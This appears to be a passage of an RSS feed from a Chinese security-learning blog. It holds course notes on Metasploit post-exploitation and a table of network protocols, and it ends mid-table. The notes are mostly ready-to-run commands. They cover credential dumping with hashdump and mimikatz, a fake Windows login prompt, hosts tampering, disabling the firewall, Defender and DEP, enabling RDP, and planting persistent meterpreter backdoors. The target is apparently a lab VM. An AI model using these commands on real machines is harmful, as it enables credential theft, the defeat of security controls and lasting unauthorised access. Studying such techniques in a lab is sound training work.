&lt;/div&gt;&lt;p&gt;等上(最多)一分钟就好了~&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.9 msf植入永久后门</title>
        <link>https://www.retr0.xyz/p/1.9-msf%E6%A4%8D%E5%85%A5%E6%B0%B8%E4%B9%85%E5%90%8E%E9%97%A8/</link>
        <pubDate>Sat, 06 Dec 2025 15:32:40 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.9-msf%E6%A4%8D%E5%85%A5%E6%B0%B8%E4%B9%85%E5%90%8E%E9%97%A8/</guid>
        <description>&lt;h2 id=&#34;meterpreter&#34;&gt;meterpreter
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;本部分使用Kali系统&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;host注入&#34;&gt;host注入
&lt;/h3&gt;&lt;p&gt;在meterpreter中先使用&lt;code&gt;background&lt;/code&gt;将当前连接挂起&lt;/p&gt;
&lt;p&gt;&lt;code&gt;show options&lt;/code&gt;	查看配置方法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;set ip [自己的ip]&lt;/code&gt; 	这里的ip是之后目标指向的ip&lt;/p&gt;
&lt;p&gt;&lt;code&gt;set domain [要篡改的域名]&lt;/code&gt;	要伪造什么域名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;set sessions [目标session]&lt;/code&gt;	对哪个session id进行修改&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run&lt;/code&gt;	运行&lt;/p&gt;
&lt;h3 id=&#34;用户认证钓鱼&#34;&gt;用户认证钓鱼
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;run post/windows/gather/phish_windows_credentials&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;会在目标桌面弹出管理员认证窗口&lt;/p&gt;
&lt;h3 id=&#34;passthehash&#34;&gt;passTheHash
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;必须是system权限&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run post/windows/gather/hashdump&lt;/code&gt;		获取操作系统的hash值&lt;/p&gt;
&lt;p&gt;可以获取管理员(Administrator)密码加密之后的密码，之后使用穷举的方法破解&lt;/p&gt;
&lt;h2 id=&#34;mimikatzwindows版&#34;&gt;mimikatz（Windows版）
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;本部分使用Win10攻击机及Win7靶机&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们使用&lt;code&gt;C:\tools\alltools\密码破解&lt;/code&gt;下的&lt;code&gt;mimikatz_trunk.rar&lt;/code&gt;软件，将压缩包传入到靶机上并解压，如果不能直接拖动复制（没有安装VM tools）建议使用 &lt;a class=&#34;link&#34; href=&#34;https://www.lingdaima.com/file/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;免费在线文件传输工具 - 零代码快传&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;解压后文件夹内的双击两个快捷方式可一键执行命令，也可进入Win32或x64文件夹（分别对应32和64位）内打开软件控制台手动输入命令&lt;/p&gt;
&lt;h3 id=&#34;获取账户密码&#34;&gt;获取账户密码
&lt;/h3&gt;&lt;p&gt;其中，在Win32文件夹内有&lt;code&gt;常用命令.txt&lt;/code&gt;可供参考:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;privilege::debug            当前进程提升为debug权限
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;inject::process lsass.exe sekurlsa.dll     注入lsass.exe进程
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sekurlsa::logonPasswords    列出所有用户密码
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;system::user                当前用户名
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;system::computer            当前主机名
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;process::list                列出所有进程
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;process::modules             列出当前加载模块
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ts::multirdp                 支持多用户远程登录
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;我们依次执行前三个命令，这时会在&lt;code&gt;wdigest&lt;/code&gt;后显示密码&lt;/p&gt;
&lt;p&gt;提示：Windows 8 前密码会以明文形式存储在内存中，因此直接获取明文只对Win8之前有效。&lt;/p&gt;
&lt;h3 id=&#34;扫雷外挂&#34;&gt;扫雷外挂（?）
&lt;/h3&gt;&lt;p&gt;打开位于&lt;code&gt;tools&lt;/code&gt;文件夹下的&lt;code&gt;winmine.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在mimikatz窗口中执行命令&lt;code&gt;winmine::infos&lt;/code&gt;，即可查看所有雷的位置&lt;/p&gt;
&lt;h2 id=&#34;mimikatzkali版&#34;&gt;mimikatz（Kali版）
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;本部分继续使用meterpreter控制台&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在一个已连接的session中输入&lt;code&gt;load mimikatz&lt;/code&gt;（如果失败请用&lt;code&gt;load kiwi&lt;/code&gt;）加载mimikatz模块&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;help&lt;/code&gt;（失败请用&lt;code&gt;help kiwi&lt;/code&gt;）可以查看有哪些功能，例如：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;creds_all&lt;/code&gt;列出所有凭据&lt;/p&gt;
&lt;p&gt;&lt;code&gt;creds_kerberos&lt;/code&gt; 拿到Kerberos凭据&lt;/p&gt;
&lt;p&gt;&lt;code&gt;creds_msv&lt;/code&gt;获取加密后的密码（Win8之后适用）&lt;/p&gt;
&lt;h2 id=&#34;防火墙和3389端口&#34;&gt;防火墙和3389端口
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;本部分继续使用meterpreter控制台&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;安全措施的处理&#34;&gt;安全措施的处理
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;在shell中：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netsh advfirewall set allprofiles state off&lt;/code&gt;	关闭防火墙&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net stop windefend&lt;/code&gt;	关闭defener（Windows自带杀软）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bcdedit.exe /set {current} nx AlwaysOff&lt;/code&gt;	关闭dep（数据执行保护）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在meterpreter中（不好用）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run killav&lt;/code&gt;	关闭杀软&lt;/p&gt;
&lt;p&gt;或&lt;code&gt;run post/windows/manage/killav&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;开启3389远程桌面端口&#34;&gt;开启3389（远程桌面）端口
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;run post/windows/manage/enable_rdp&lt;/code&gt;	打开3389端口&lt;/p&gt;
&lt;p&gt;或&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run getgui -e&lt;/code&gt;	（不太靠谱）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run getgui -u 用户名 -p 密码&lt;/code&gt;		在目标上创建新的用户账户（不好用）&lt;/p&gt;
&lt;h3 id=&#34;连接远程桌面&#34;&gt;连接远程桌面
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;不要在meterpreter中输入，直接在新的终端窗口中输入：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rdesktop -u [用户名] -p [密码] [目标ip]&lt;/code&gt;		使用图形界面控制远程桌面&lt;/p&gt;
&lt;h2 id=&#34;永久后门植入&#34;&gt;永久后门植入
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;为什么需要永久后门的植入？&lt;/p&gt;
&lt;p&gt;meterpreter是运行在内存里的，重启消失，所以需要植入后门&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;常见方法：卸载对方的补丁，给对方安装一些有漏洞的软件（比如说ftp程序、输入法&amp;hellip;&amp;hellip;）&lt;/p&gt;
&lt;p&gt;这里使用meterpreter自带的功能&lt;/p&gt;
&lt;h3 id=&#34;方法一正向连接不一定成功&#34;&gt;方法一（正向连接，不一定成功）
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;安装服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;background&lt;/code&gt;		挂起连接&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run metsvc -A&lt;/code&gt;	设定一个31337端口上传后门文件&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;jobs&lt;/code&gt;	可以看到&lt;code&gt;metsvc_bind_tcp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;连接&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/multi/handler
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set payload windows/metsvc_bind_tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set rhost [目标ip]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set lport 31337
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;方法二反向连接&#34;&gt;方法二（反向连接）
&lt;/h3&gt;&lt;h4 id=&#34;课上教的不可用原因未知&#34;&gt;课上教的（不可用，原因未知）
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;植入启动型后门&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在session中：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run persistence -A -S -U -i [多少秒联系一次] -p [端口号] -r [自己的ip]&lt;/code&gt; 植入启动型后门&lt;/p&gt;
&lt;p&gt;或者&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run persistence -X -i [多少秒联系一次] -p [端口号] -r [自己的ip]&lt;/code&gt;	（成功率更高）&lt;/p&gt;
&lt;p&gt;会打开一个新的session，之后目标启动后会自动连接上控制端&lt;/p&gt;
&lt;h4 id=&#34;实践可用&#34;&gt;实践可用
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;background	挂起连接
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/windows/local/persistence_service	转到persistence脚本
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;show options	查看配置方法
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set session [编号]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
        </item>
        <item>
        <title>1.8 操作系统权限及密码破解</title>
        <link>https://www.retr0.xyz/p/1.8-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E6%9D%83%E9%99%90%E5%8F%8A%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/</link>
        <pubDate>Thu, 04 Dec 2025 22:10:13 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.8-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E6%9D%83%E9%99%90%E5%8F%8A%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/</guid>
        <description>&lt;h2 id=&#34;系统权限&#34;&gt;系统权限
&lt;/h2&gt;&lt;h3 id=&#34;windows&#34;&gt;Windows
&lt;/h3&gt;&lt;p&gt;最高：SYSTEM&lt;/p&gt;
&lt;p&gt;用户最高:Administrator&lt;/p&gt;
&lt;p&gt;others&lt;/p&gt;
&lt;h3 id=&#34;linux&#34;&gt;Linux
&lt;/h3&gt;&lt;p&gt;最高：root&lt;/p&gt;
&lt;p&gt;其他都是普通&lt;/p&gt;
&lt;h3 id=&#34;cpu权限&#34;&gt;CPU权限
&lt;/h3&gt;&lt;p&gt;OS（操作系统）&lt;/p&gt;
&lt;p&gt;ring0（驱动程序）&lt;/p&gt;
&lt;p&gt;ring3（大多数其他软件）&lt;/p&gt;
&lt;h2 id=&#34;目标信息搜集&#34;&gt;目标信息搜集
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;以下命令均在meterpreter &amp;gt;上执行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;系统信息&#34;&gt;系统信息
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;run post/windows/gather/checkvm&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;检查目标是否是虚拟机&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run post/windows/gather/enum_services&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看目标系统上运行的服务（例如有VM tools必为虚拟机）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run post/windows/gather/enum_applications&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看目标系统上安装的软件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run post/windows/gather/dumplinks&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看目标系统上最近的操作&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run post/windows/gather/enum_shares&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看是否开启了共享&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run post/windows/gather/enum_patches&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看目标安装了那些补丁&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run winenum&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;查看环境变量&lt;/p&gt;
&lt;h3 id=&#34;数据嗅探和wireshark的使用&#34;&gt;数据嗅探和wireshark的使用
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 首先执行&lt;code&gt;load sniffer&lt;/code&gt;加载sniffer模块&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sniffer_interfaces&lt;/code&gt;		查看对方网卡（判断是否启用dhcp:true大概率启用）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sniffer_start [网卡编号]&lt;/code&gt;	开始嗅探指定网卡&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sniffer_start [网卡编号]&lt;/code&gt;	停止嗅探指定网卡&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sniffer_dump [网卡编号] [路径及文件名]&lt;/code&gt;		将嗅探到的数据保存到指定文件中&lt;/p&gt;
&lt;p&gt;例如：&lt;code&gt;sniffer_dump 2 /home/kali/Desktop/123.cap&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;过滤器的使用&#34;&gt;过滤器的使用
&lt;/h4&gt;&lt;p&gt;点击打开保存的文件，可以在过滤器中输入&lt;code&gt;ip.src_host==[ip地址]&lt;/code&gt;来过滤目标发出的数据包&lt;/p&gt;
&lt;p&gt;在过滤器中输入&lt;code&gt;ip.dst_host==[ip地址]&lt;/code&gt;来过滤返回的数据包&lt;/p&gt;
&lt;p&gt;&lt;code&gt;!(ip.src_host==[ip地址])&lt;/code&gt;		过滤除了某个ip以外的所有数据包&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tcp&lt;/code&gt; 或&lt;code&gt;udp&lt;/code&gt;等	只查看某种协议的数据包&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;组合使用：&lt;/strong&gt; &lt;code&gt;ip.src_host==[ip地址] &amp;amp;&amp;amp; tcp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其余自行摸索&lt;/p&gt;
&lt;h4 id=&#34;常见网络协议&#34;&gt;常见网络协议
&lt;/h4&gt;&lt;p&gt;以下是网络通信中最常见的协议分类整理，包含 &lt;strong&gt;协议名称、中文名、核心作用&lt;/strong&gt; 及关键补充说明，按功能场景分组便于理解：&lt;/p&gt;
&lt;h5 id=&#34;核心传输层协议负责端到端数据传输&#34;&gt;核心传输层协议（负责端到端数据传输）
&lt;/h5&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;协议名称&lt;/th&gt;
          &lt;th&gt;中文名&lt;/th&gt;
          &lt;th&gt;核心作用&lt;/th&gt;
          &lt;th&gt;关键特点&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;TCP&lt;/td&gt;
          &lt;td&gt;传输控制协议&lt;/td&gt;
          &lt;td&gt;提供可靠、面向连接的字节流传输&lt;/td&gt;
          &lt;td&gt;三次握手建立连接、四次挥手断开、重传机制（保证数据不丢失/不重复），适用于文件传输、网页加载等场景&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;UDP&lt;/td&gt;
          &lt;td&gt;用户数据报协议&lt;/td&gt;
          &lt;td&gt;提供无连接、不可靠的数据包传输&lt;/td&gt;
          &lt;td&gt;无握手过程、低延迟，适用于视频通话、游戏、直播等对实时性要求高于可靠性的场景&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id=&#34;网络层协议负责路由与寻址&#34;&gt;网络层协议（负责路由与寻址）
&lt;/h5&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;协议名称&lt;/th&gt;
          &lt;th&gt;中文名&lt;/th&gt;
          &lt;th&gt;核心作用&lt;/th&gt;
          &lt;th&gt;关键特点&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;IP&lt;/td&gt;
          &lt;td&gt;网际协议&lt;/td&gt;
          &lt;td&gt;定义数据包格式，实现跨网络设备的寻址与转发&lt;/td&gt;
          &lt;td&gt;TCP/UDP 的底层支撑，仅负责“送达”，不保证可靠性（IPv4 是目前主流，IPv6 逐步普及）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;ICMP&lt;/td&gt;
          &lt;td&gt;互联网控制消息协议&lt;/td&gt;
          &lt;td&gt;用于网络设备间的差错报告与状态查询&lt;/td&gt;
          &lt;td&gt;常见场景：ping 命令（检测主机可达性）、 traceroute（追踪路由路径）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;ARP&lt;/td&gt;
          &lt;td&gt;地址解析协议&lt;/td&gt;
          &lt;td&gt;将 IP 地址转换为物理地址（MAC 地址）&lt;/td&gt;
          &lt;td&gt;局域网内通信必需，解决“知道对方 IP 但不知道硬件地址”的问题&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;RARP&lt;/td&gt;
          &lt;td&gt;反向地址解析协议&lt;/td&gt;
          &lt;td&gt;将 MAC 地址转换为 IP 地址&lt;/td&gt;
          &lt;td&gt;适用于无 DHCP 服务器的场景（如早期无盘工作站）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;IGMP&lt;/td&gt;
          &lt;td&gt;互联网组管理协议&lt;/td&gt;
          &lt;td&gt;用于主机加入/退出多播组&lt;/td&gt;
          &lt;td&gt;支持视频会议、组播直播等“一对多”通信场景&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h5 id=&#34;应用层协议直接面向用户业务&#34;&gt;应用层协议（直接面向用户业务）
&lt;/h5&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;协议名称&lt;/th&gt;
          &lt;th&gt;中文名&lt;/th&gt;
          &lt;th&gt;核心作用&lt;/th&gt;
          &lt;th&gt;关键特点&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;DNS&lt;/td&gt;
          &lt;td&gt;域名系统协议&lt;/td&gt;
          &lt;td&gt;将域名（如 &lt;a class=&#34;link&#34; href=&#34;http://www.baidu.com%ef%bc%89%e8%a7%a3%e6%9e%90%e4%b8%ba&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;www.baidu.com）解析为&lt;/a&gt; IP 地址&lt;/td&gt;
          &lt;td&gt;解决“记 IP 难”的问题，是互联网访问的“地址簿”&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;HTTP&lt;/td&gt;
          &lt;td&gt;超文本传输协议&lt;/td&gt;
          &lt;td&gt;用于 Web 浏览器与服务器之间的网页传输&lt;/td&gt;
          &lt;td&gt;明文传输（不安全），默认端口 80，支撑普通网页访问&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;HTTPS&lt;/td&gt;
          &lt;td&gt;安全超文本传输协议&lt;/td&gt;
          &lt;td&gt;HTTP + TLS/SSL 加密，实现安全的网页传输&lt;/td&gt;
          &lt;td&gt;加密数据（防窃听/篡改），默认端口 443，用于支付、登录等敏感场景&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;FTP&lt;/td&gt;
          &lt;td&gt;文件传输协议&lt;/td&gt;
          &lt;td&gt;用于客户端与服务器之间的文件上传/下载&lt;/td&gt;
          &lt;td&gt;明文传输，默认端口 21（控制）+ 20（数据），适用于非敏感文件传输&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;SFTP&lt;/td&gt;
          &lt;td&gt;SSH 文件传输协议&lt;/td&gt;
          &lt;td&gt;基于 SSH 加密的文件传输协议&lt;/td&gt;
          &lt;td&gt;加密传输（替代 FTP），默认端口 22，安全性更高&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;SSH&lt;/td&gt;
          &lt;td&gt;安全外壳协议&lt;/td&gt;
          &lt;td&gt;远程登录服务器并执行命令&lt;/td&gt;
          &lt;td&gt;加密传输（替代 Telnet），默认端口 22，是服务器管理的核心协议&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Telnet&lt;/td&gt;
          &lt;td&gt;远程终端协议&lt;/td&gt;
          &lt;td&gt;远程登录服务器（明文传输）&lt;/td&gt;
          &lt;td&gt;无加密（不安全），默认端口 23，仅用于测试或非敏感环境&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;SMTP&lt;/td&gt;
          &lt;td&gt;简单邮件传输协议&lt;/td&gt;
          &lt;td&gt;用于发送电子邮件（服务器到服务器）&lt;/td&gt;
          &lt;td&gt;默认端口 25（明文）/ 465（SSL 加密），支撑邮件发送功能&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;POP3&lt;/td&gt;
          &lt;td&gt;邮局协议版本 3&lt;/td&gt;
          &lt;td&gt;用于接收电子邮件（客户端到服务器）&lt;/td&gt;
          &lt;td&gt;下载邮件到本地，默认端口 110（明文）/ 995（SSL 加密）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;IMAP4&lt;/td&gt;
          &lt;td&gt;互联网邮件访问协议版本 4&lt;/td&gt;
          &lt;td&gt;接收电子邮件（支持邮件同步）&lt;/td&gt;
          &lt;td&gt;可在多设备同步邮件状态（已读/未读），默认端口 143（明文）/ 993（SSL 加密）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;NTP&lt;/td&gt;
          &lt;td&gt;网络时间协议&lt;/td&gt;
          &lt;td&gt;实现网络设备间的时间同步&lt;/td&gt;
          &lt;td&gt;保证服务器、终端等设备时间一致，默认端口 123（UDP）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;DHCP&lt;/td&gt;
          &lt;td&gt;动态主机配置协议&lt;/td&gt;
          &lt;td&gt;自动为客户端分配 IP 地址、子网掩码等网络参数&lt;/td&gt;
          &lt;td&gt;无需手动设置 IP，适用于局域网（如家庭、公司网络）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;SNMP&lt;/td&gt;
          &lt;td&gt;简单网络管理协议&lt;/td&gt;
          &lt;td&gt;监控和管理网络设备（路由器、交换机等）&lt;/td&gt;
          &lt;td&gt;收集设备状态（如流量、负载），默认端口 161（UDP）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;TFTP&lt;/td&gt;
          &lt;td&gt;简单文件传输协议&lt;/td&gt;
          &lt;td&gt;轻量级文件传输（无认证）&lt;/td&gt;
          &lt;td&gt;仅支持简单上传/下载，无权限验证，默认端口 69（UDP），适用于设备固件升级&lt;/td&gt;
      &lt;/tr&gt;
